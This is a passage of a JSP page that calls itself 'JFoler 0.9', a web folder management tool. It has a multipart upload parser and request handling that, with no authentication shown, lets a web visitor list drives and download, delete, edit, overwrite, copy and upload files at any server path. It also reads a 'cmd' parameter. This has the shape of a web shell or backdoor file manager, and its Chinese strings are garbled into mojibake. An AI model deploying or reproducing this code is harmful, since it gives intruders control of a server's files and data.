static Hashtable uploadTable = new Hashtable();
|
||||||
|
|
||||||
|
static void set(String fName, UplInfo info) {
|
||||||
|
uploadTable.put(fName, info);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void remove(String fName) {
|
||||||
|
uploadTable.remove(fName);
|
||||||
|
}
|
||||||
|
|
||||||
|
static UplInfo getInfo(String fName) {
|
||||||
|
UplInfo info = (UplInfo) uploadTable.get(fName);
|
||||||
|
return info;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public class UplInfo {
|
||||||
|
|
||||||
|
public long totalSize;
|
||||||
|
public long currSize;
|
||||||
|
public long starttime;
|
||||||
|
public boolean aborted;
|
||||||
|
|
||||||
|
public UplInfo() {
|
||||||
|
totalSize = 0l;
|
||||||
|
currSize = 0l;
|
||||||
|
starttime = System.currentTimeMillis();
|
||||||
|
aborted = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public UplInfo(int size) {
|
||||||
|
totalSize = size;
|
||||||
|
currSize = 0;
|
||||||
|
starttime = System.currentTimeMillis();
|
||||||
|
aborted = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getUprate() {
|
||||||
|
long time = System.currentTimeMillis() - starttime;
|
||||||
|
if (time != 0) {
|
||||||
|
long uprate = currSize * 1000 / time;
|
||||||
|
return convertFileSize(uprate) + "/s";
|
||||||
|
}
|
||||||
|
else return "n/a";
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getPercent() {
|
||||||
|
if (totalSize == 0) return 0;
|
||||||
|
else return (int) (currSize * 100 / totalSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getTimeElapsed() {
|
||||||
|
long time = (System.currentTimeMillis() - starttime) / 1000l;
|
||||||
|
if (time - 60l >= 0){
|
||||||
|
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||||
|
else return time / 60 + ":0" + (time % 60) + "m";
|
||||||
|
}
|
||||||
|
else return time<10 ? "0" + time + "s": time + "s";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getTimeEstimated() {
|
||||||
|
if (currSize == 0) return "n/a";
|
||||||
|
long time = System.currentTimeMillis() - starttime;
|
||||||
|
time = totalSize * time / currSize;
|
||||||
|
time /= 1000l;
|
||||||
|
if (time - 60l >= 0){
|
||||||
|
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||||
|
else return time / 60 + ":0" + (time % 60) + "m";
|
||||||
|
}
|
||||||
|
else return time<10 ? "0" + time + "s": time + "s";
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public class FileInfo {
|
||||||
|
|
||||||
|
public String name = null, clientFileName = null, fileContentType = null;
|
||||||
|
private byte[] fileContents = null;
|
||||||
|
public File file = null;
|
||||||
|
public StringBuffer sb = new StringBuffer(100);
|
||||||
|
|
||||||
|
public void setFileContents(byte[] aByteArray) {
|
||||||
|
fileContents = new byte[aByteArray.length];
|
||||||
|
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A Class with methods used to process a ServletInputStream
|
||||||
|
public class HttpMultiPartParser {
|
||||||
|
|
||||||
|
private final String lineSeparator = System.getProperty("line.separator", "\n");
|
||||||
|
private final int ONE_MB = 1024 * 1;
|
||||||
|
|
||||||
|
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
|
||||||
|
int clength) throws IllegalArgumentException, IOException {
|
||||||
|
if (is == null) throw new IllegalArgumentException("InputStream");
|
||||||
|
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
|
||||||
|
"\"" + boundary + "\" is an illegal boundary indicator");
|
||||||
|
boundary = "--" + boundary;
|
||||||
|
StringTokenizer stLine = null, stFields = null;
|
||||||
|
FileInfo fileInfo = null;
|
||||||
|
Hashtable dataTable = new Hashtable(5);
|
||||||
|
String line = null, field = null, paramName = null;
|
||||||
|
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
|
||||||
|
boolean isFile = false;
|
||||||
|
if (saveFiles) { // Create the required directory (including parent dirs)
|
||||||
|
File f = new File(saveInDir);
|
||||||
|
f.mkdirs();
|
||||||
|
}
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null || !line.startsWith(boundary)) throw new IOException(
|
||||||
|
"Boundary not found; boundary = " + boundary + ", line = " + line);
|
||||||
|
while (line != null) {
|
||||||
|
if (line == null || !line.startsWith(boundary)) return dataTable;
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
stLine = new StringTokenizer(line, ";\r\n");
|
||||||
|
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
line = stLine.nextToken().toLowerCase();
|
||||||
|
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
|
||||||
|
if (stFields.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in second line");
|
||||||
|
fileInfo = new FileInfo();
|
||||||
|
stFields.nextToken();
|
||||||
|
paramName = stFields.nextToken();
|
||||||
|
isFile = false;
|
||||||
|
if (stLine.hasMoreTokens()) {
|
||||||
|
field = stLine.nextToken();
|
||||||
|
stFields = new StringTokenizer(field, "=\"");
|
||||||
|
if (stFields.countTokens() > 1) {
|
||||||
|
if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
|
||||||
|
fileInfo.name = paramName;
|
||||||
|
String value = stFields.nextToken();
|
||||||
|
if (value != null && value.trim().length() > 0) {
|
||||||
|
fileInfo.clientFileName = value;
|
||||||
|
isFile = true;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
line = getLine(is); // Skip "Content-Type:" line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Position to boundary line
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (field.toLowerCase().indexOf("filename") >= 0) {
|
||||||
|
line = getLine(is); // Skip "Content-Type:" line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Skip blank line
|
||||||
|
line = getLine(is); // Position to boundary line
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
boolean skipBlankLine = true;
|
||||||
|
if (isFile) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
if (line.trim().length() < 1) skipBlankLine = false;
|
||||||
|
else {
|
||||||
|
stLine = new StringTokenizer(line, ": ");
|
||||||
|
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||||
|
"Bad data in third line");
|
||||||
|
stLine.nextToken(); // Content-Type
|
||||||
|
fileInfo.fileContentType = stLine.nextToken();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (skipBlankLine) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
}
|
||||||
|
if (!isFile) {
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
dataTable.put(paramName, line);
|
||||||
|
// If parameter is dir, change saveInDir to dir
|
||||||
|
if (paramName.equals("dir")) saveInDir = line;
|
||||||
|
line = getLine(is);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
UplInfo uplInfo = new UplInfo(clength);
|
||||||
|
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
|
||||||
|
OutputStream os = null;
|
||||||
|
String path = null;
|
||||||
|
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
|
||||||
|
fileInfo.clientFileName));
|
||||||
|
else os = new ByteArrayOutputStream(ONE_MB);
|
||||||
|
boolean readingContent = true;
|
||||||
|
byte previousLine[] = new byte[2 * ONE_MB];
|
||||||
|
byte temp[] = null;
|
||||||
|
byte currentLine[] = new byte[2 * ONE_MB];
|
||||||
|
int read, read3;
|
||||||
|
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
|
||||||
|
line = null;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
while (readingContent) {
|
||||||
|
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
|
||||||
|
line = null;
|
||||||
|
uplInfo.aborted = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (compareBoundary(boundary, currentLine)) {
|
||||||
|
os.write(previousLine, 0, read - 2);
|
||||||
|
line = new String(currentLine, 0, read3);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
os.write(previousLine, 0, read);
|
||||||
|
uplInfo.currSize += read;
|
||||||
|
temp = currentLine;
|
||||||
|
currentLine = previousLine;
|
||||||
|
previousLine = temp;
|
||||||
|
read = read3;
|
||||||
|
}//end else
|
||||||
|
}//end while
|
||||||
|
os.flush();
|
||||||
|
os.close();
|
||||||
|
if (!saveFiles) {
|
||||||
|
ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
|
||||||
|
fileInfo.setFileContents(baos.toByteArray());
|
||||||
|
}
|
||||||
|
else fileInfo.file = new File(path);
|
||||||
|
dataTable.put(paramName, fileInfo);
|
||||||
|
uplInfo.currSize = uplInfo.totalSize;
|
||||||
|
}//end try
|
||||||
|
catch (IOException e) {
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return dataTable;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Compares boundary string to byte array
|
||||||
|
*/
|
||||||
|
private boolean compareBoundary(String boundary, byte ba[]) {
|
||||||
|
byte b;
|
||||||
|
if (boundary == null || ba == null) return false;
|
||||||
|
for (int i = 0; i < boundary.length(); i++)
|
||||||
|
if ((byte) boundary.charAt(i) != ba[i]) return false;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Convenience method to read HTTP header lines */
|
||||||
|
private synchronized String getLine(ServletInputStream sis) throws IOException {
|
||||||
|
byte b[] = new byte[1024];
|
||||||
|
int read = sis.readLine(b, 0, b.length), index;
|
||||||
|
String line = null;
|
||||||
|
if (read != -1) {
|
||||||
|
line = new String(b, 0, read);
|
||||||
|
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
|
||||||
|
}
|
||||||
|
return line;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getFileName(String dir, String fileName) throws IllegalArgumentException {
|
||||||
|
String path = null;
|
||||||
|
if (dir == null || fileName == null) throw new IllegalArgumentException(
|
||||||
|
"dir or fileName is null");
|
||||||
|
int index = fileName.lastIndexOf('/');
|
||||||
|
String name = null;
|
||||||
|
if (index >= 0) name = fileName.substring(index + 1);
|
||||||
|
else name = fileName;
|
||||||
|
index = name.lastIndexOf('\\');
|
||||||
|
if (index >= 0) fileName = name.substring(index + 1);
|
||||||
|
path = dir + File.separator + fileName;
|
||||||
|
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
|
||||||
|
else return path.replace('/', File.separatorChar);
|
||||||
|
}
|
||||||
|
} //End of class HttpMultiPartParser
|
||||||
|
|
||||||
|
String formatPath(String p)
|
||||||
|
{
|
||||||
|
StringBuffer sb=new StringBuffer();
|
||||||
|
for (int i = 0; i < p.length(); i++)
|
||||||
|
{
|
||||||
|
if(p.charAt(i)=='\\')
|
||||||
|
{
|
||||||
|
sb.append("\\\\");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sb.append(p.charAt(i));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Converts some important chars (int) to the corresponding html string
|
||||||
|
*/
|
||||||
|
static String conv2Html(int i) {
|
||||||
|
if (i == '&') return "&";
|
||||||
|
else if (i == '<') return "<";
|
||||||
|
else if (i == '>') return ">";
|
||||||
|
else if (i == '"') return """;
|
||||||
|
else return "" + (char) i;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Converts a normal string to a html conform string
|
||||||
|
*/
|
||||||
|
static String htmlEncode(String st) {
|
||||||
|
StringBuffer buf = new StringBuffer();
|
||||||
|
for (int i = 0; i < st.length(); i++) {
|
||||||
|
buf.append(conv2Html(st.charAt(i)));
|
||||||
|
}
|
||||||
|
return buf.toString();
|
||||||
|
}
|
||||||
|
String getDrivers()
|
||||||
|
/**
|
||||||
|
Windowsϵͳ<EFBFBD><EFBFBD>ȡ<EFBFBD>ÿ<EFBFBD><EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
*/
|
||||||
|
{
|
||||||
|
StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
|
||||||
|
File roots[]=File.listRoots();
|
||||||
|
for(int i=0;i<roots.length;i++)
|
||||||
|
{
|
||||||
|
sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">");
|
||||||
|
sb.append(roots[i]+"</a> ");
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
static String convertFileSize(long filesize)
|
||||||
|
{
|
||||||
|
//bug 5.09M <20><>ʾ5.9M
|
||||||
|
String strUnit="Bytes";
|
||||||
|
String strAfterComma="";
|
||||||
|
int intDivisor=1;
|
||||||
|
if(filesize>=1024*1024)
|
||||||
|
{
|
||||||
|
strUnit = "MB";
|
||||||
|
intDivisor=1024*1024;
|
||||||
|
}
|
||||||
|
else if(filesize>=1024)
|
||||||
|
{
|
||||||
|
strUnit = "KB";
|
||||||
|
intDivisor=1024;
|
||||||
|
}
|
||||||
|
if(intDivisor==1) return filesize + " " + strUnit;
|
||||||
|
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
|
||||||
|
if(strAfterComma=="") strAfterComma=".0";
|
||||||
|
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<%
|
||||||
|
request.setCharacterEncoding("gb2312");
|
||||||
|
String tabID = request.getParameter("tabID");
|
||||||
|
String strDir = request.getParameter("path");
|
||||||
|
String strAction = request.getParameter("action");
|
||||||
|
String strFile = request.getParameter("file");
|
||||||
|
String strPath = strDir + "\\" + strFile;
|
||||||
|
String strCmd = request.getParameter("cmd");
|
||||||
|
StringBuffer sbEdit=new StringBuffer("");
|
||||||
|
StringBuffer sbDown=new StringBuffer("");
|
||||||
|
StringBuffer sbCopy=new StringBuffer("");
|
||||||
|
StringBuffer sbSaveCopy=new StringBuffer("");
|
||||||
|
StringBuffer sbNewFile=new StringBuffer("");
|
||||||
|
|
||||||
|
if((tabID==null) || tabID.equals(""))
|
||||||
|
{
|
||||||
|
tabID = "1";
|
||||||
|
}
|
||||||
|
|
||||||
|
if(strDir==null||strDir.length()<1)
|
||||||
|
{
|
||||||
|
strDir = request.getRealPath("/");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if(strAction!=null && strAction.equals("down"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
if(f.length()==0)
|
||||||
|
{
|
||||||
|
sbDown.append("<22>ļ<EFBFBD><C4BC><EFBFBD>СΪ 0 <20>ֽڣ<D6BD><DAA3>Ͳ<EFBFBD><CDB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˰<EFBFBD>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
response.setHeader("content-type","text/html; charset=ISO-8859-1");
|
||||||
|
response.setContentType("APPLICATION/OCTET-STREAM");
|
||||||
|
response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
|
||||||
|
FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
|
||||||
|
out.clearBuffer();
|
||||||
|
int i;
|
||||||
|
while ((i=fileInputStream.read()) != -1)
|
||||||
|
{
|
||||||
|
out.write(i);
|
||||||
|
}
|
||||||
|
fileInputStream.close();
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(strAction!=null && strAction.equals("del"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
f.delete();
|
||||||
|
}
|
||||||
|
|
||||||
|
if(strAction!=null && strAction.equals("edit"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
|
||||||
|
sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=action value=save >\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||||
|
sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
|
||||||
|
sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> "+strPath+"\r\n");
|
||||||
|
sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
|
||||||
|
String line="";
|
||||||
|
while((line=br.readLine())!=null)
|
||||||
|
{
|
||||||
|
sbEdit.append(htmlEncode(line)+"\r\n");
|
||||||
|
}
|
||||||
|
sbEdit.append("</textarea>");
|
||||||
|
sbEdit.append("<input type=hidden name=path value="+strDir+">");
|
||||||
|
sbEdit.append("</form>");
|
||||||
|
}
|
||||||
|
|
||||||
|
if(strAction!=null && strAction.equals("save"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
|
||||||
|
String strContent=request.getParameter("content");
|
||||||
|
bw.write(strContent);
|
||||||
|
bw.close();
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("copy"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||||
|
sbCopy.append("ԭʼ<D4AD>ļ<EFBFBD><C4BC><EFBFBD> "+strPath+"<p>");
|
||||||
|
sbCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> <input type=text name=file2 size=40 value='"+strDir+"'><p>");
|
||||||
|
sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
|
||||||
|
sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p> \r\n");
|
||||||
|
sbCopy.append("</form>");
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("savecopy"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
String strDesFile=request.getParameter("file2");
|
||||||
|
if(strDesFile==null || strDesFile.equals(""))
|
||||||
|
{
|
||||||
|
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
File f_des=new File(strDesFile);
|
||||||
|
if(f_des.isFile())
|
||||||
|
{
|
||||||
|
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC>Ѵ<EFBFBD><D1B4><EFBFBD>,<2C><><EFBFBD>ܸ<EFBFBD><DCB8>ơ<EFBFBD></font>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String strTmpFile=strDesFile;
|
||||||
|
if(f_des.isDirectory())
|
||||||
|
{
|
||||||
|
if(!strDesFile.endsWith("\\"))
|
||||||
|
{
|
||||||
|
strDesFile=strDesFile+"\\";
|
||||||
|
}
|
||||||
|
strTmpFile=strDesFile+"cqq_"+strFile;
|
||||||
|
}
|
||||||
|
|
||||||
|
File f_des_copy=new File(strTmpFile);
|
||||||
|
FileInputStream in1=new FileInputStream(f);
|
||||||
|
FileOutputStream out1=new FileOutputStream(f_des_copy);
|
||||||
|
byte[] buffer=new byte[1024];
|
||||||
|
int c;
|
||||||
|
while((c=in1.read(buffer))!=-1)
|
||||||
|
{
|
||||||
|
out1.write(buffer,0,c);
|
||||||
|
}
|
||||||
|
in1.close();
|
||||||
|
out1.close();
|
||||||
|
|
||||||
|
sbSaveCopy.append("ԭʼ<D4AD>ļ<EFBFBD> <20><>"+strPath+"<p>");
|
||||||
|
sbSaveCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD> <20><>"+strTmpFile+"<p>");
|
||||||
|
sbSaveCopy.append("<font color=red><3E><><EFBFBD>Ƴɹ<C6B3><C9B9><EFBFBD></font>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=<3D><><EFBFBD><EFBFBD>>");
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("newFile"))
|
||||||
|
{
|
||||||
|
String strF=request.getParameter("fileName");
|
||||||
|
String strType1=request.getParameter("btnNewFile");
|
||||||
|
String strType2=request.getParameter("btnNewDir");
|
||||||
|
String strType="";
|
||||||
|
if(strType1==null)
|
||||||
|
{
|
||||||
|
strType="Dir";
|
||||||
|
}
|
||||||
|
else if(strType2==null)
|
||||||
|
{
|
||||||
|
strType="File";
|
||||||
|
}
|
||||||
|
if(!strType.equals("") && !(strF==null || strF.equals("")))
|
||||||
|
{
|
||||||
|
File f_new=new File(strF);
|
||||||
|
if(strType.equals("File") && !f_new.createNewFile())
|
||||||
|
sbNewFile.append(strF+" <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
||||||
|
if(strType.equals("Dir") && !f_new.mkdirs())
|
||||||
|
sbNewFile.append(strF+" Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
|
||||||
|
{
|
||||||
|
String tempdir=".";
|
||||||
|
boolean error=false;
|
||||||
|
response.setContentType("text/html");
|
||||||
|
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
|
||||||
|
HttpMultiPartParser parser = new HttpMultiPartParser();
|
||||||
|
|
||||||
|
int bstart = request.getContentType().lastIndexOf("oundary=");
|
||||||
|
String bound = request.getContentType().substring(bstart + 8);
|
||||||
|
int clength = request.getContentLength();
|
||||||
|
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
|
||||||
|
if (ht.get("cqqUploadFile") != null)
|
||||||
|
{
|
||||||
|
|
||||||
|
FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
|
||||||
|
File f1 = fi.file;
|
||||||
|
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
|
||||||
|
if (info != null && info.aborted)
|
||||||
|
{
|
||||||
|
f1.delete();
|
||||||
|
request.setAttribute("error", "Upload aborted");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String path = (String) ht.get("path");
|
||||||
|
if(path!=null && !path.endsWith("\\"))
|
||||||
|
path = path + "\\";
|
||||||
|
if (!f1.renameTo(new File(path + f1.getName())))
|
||||||
|
{
|
||||||
|
request.setAttribute("error", "Cannot upload file.");
|
||||||
|
error = true;
|
||||||
|
f1.delete();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<style type="text/css">
|
||||||
|
td,select,input,body{font-size:9pt;}
|
||||||
|
A { TEXT-DECORATION: none }
|
||||||
|
|
||||||
|
#tablist{
|
||||||
|
padding: 5px 0;
|
||||||
|
margin-left: 0;
|
||||||
|
margin-bottom: 0;
|
||||||
|
margin-top: 0.1em;
|
||||||
|
font:9pt;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tablist li{
|
||||||
|
list-style: none;
|
||||||
|
display: inline;
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tablist li a{
|
||||||
|
padding: 3px 0.5em;
|
||||||
|
margin-left: 3px;
|
||||||
|
border: 1px solid ;
|
||||||
|
background: F6F6F6;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tablist li a:link, #tablist li a:visited{
|
||||||
|
color: navy;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tablist li a.current{
|
||||||
|
background: #EAEAFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
#tabcontentcontainer{
|
||||||
|
width: 100%;
|
||||||
|
padding: 5px;
|
||||||
|
border: 1px solid black;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tabcontent{
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<script type="text/javascript">
|
||||||
|
|
||||||
|
var initialtab=[<%=tabID%>, "menu<%=tabID%>"]
|
||||||
|
|
||||||
|
////////Stop editting////////////////
|
||||||
|
|
||||||
|
function cascadedstyle(el, cssproperty, csspropertyNS){
|
||||||
|
if (el.currentStyle)
|
||||||
|
return el.currentStyle[cssproperty]
|
||||||
|
else if (window.getComputedStyle){
|
||||||
|
var elstyle=window.getComputedStyle(el, "")
|
||||||
|
return elstyle.getPropertyValue(csspropertyNS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var previoustab=""
|
||||||
|
|
||||||
|
function expandcontent(cid, aobject){
|
||||||
|
if (document.getElementById){
|
||||||
|
highlighttab(aobject)
|
||||||
|
if (previoustab!="")
|
||||||
|
document.getElementById(previoustab).style.display="none"
|
||||||
|
document.getElementById(cid).style.display="block"
|
||||||
|
previoustab=cid
|
||||||
|
if (aobject.blur)
|
||||||
|
aobject.blur()
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
else
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
function highlighttab(aobject){
|
||||||
|
if (typeof tabobjlinks=="undefined")
|
||||||
|
collecttablinks()
|
||||||
|
for (i=0; i<tabobjlinks.length; i++)
|
||||||
|
tabobjlinks[i].style.backgroundColor=initTabcolor
|
||||||
|
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
|
||||||
|
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
|
||||||
|
}
|
||||||
|
|
||||||
|
function collecttablinks(){
|
||||||
|
var tabobj=document.getElementById("tablist")
|
||||||
|
tabobjlinks=tabobj.getElementsByTagName("A")
|
||||||
|
}
|
||||||
|
|
||||||
|
function do_onload(){
|
||||||
|
collecttablinks()
|
||||||
|
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
|
||||||
|
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
|
||||||
|
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
|
||||||
|
}
|
||||||
|
|
||||||
|
if (window.addEventListener)
|
||||||
|
window.addEventListener("load", do_onload, false)
|
||||||
|
else if (window.attachEvent)
|
||||||
|
window.attachEvent("onload", do_onload)
|
||||||
|
else if (document.getElementById)
|
||||||
|
window.onload=do_onload
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</script>
|
||||||
|
<script language="javascript">
|
||||||
|
|
||||||
|
function doForm(action,path,file,cmd,tab,content)
|
||||||
|
{
|
||||||
|
document.frmCqq.action.value=action;
|
||||||
|
document.frmCqq.path.value=path;
|
||||||
|
document.frmCqq.file.value=file;
|
||||||
|
document.frmCqq.cmd.value=cmd;
|
||||||
|
document.frmCqq.tabID.value=tab;
|
||||||
|
document.frmCqq.content.value=content;
|
||||||
|
if(action=="del")
|
||||||
|
{
|
||||||
|
if(confirm("ȷ<><C8B7>Ҫɾ<D2AA><C9BE><EFBFBD>ļ<EFBFBD> "+file+" <20><><EFBFBD><EFBFBD>"))
|
||||||
|
document.frmCqq.submit();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
document.frmCqq.submit();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<title>JFoler 0.9 ---A jsp based web folder management tool by Steven Cee</title>
|
||||||
|
<head>
|
||||||
|
|
||||||
|
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<form name="frmCqq" method="post" action="">
|
||||||
|
<input type="hidden" name="action" value="">
|
||||||
|
<input type="hidden" name="path" value="">
|
||||||
|
<input type="hidden" name="file" value="">
|
||||||
|
<input type="hidden" name="cmd" value="">
|
||||||
|
<input type="hidden" name="tabID" value="2">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<!--Top Menu Started-->
|
||||||
|
<ul id="tablist">
|
||||||
|
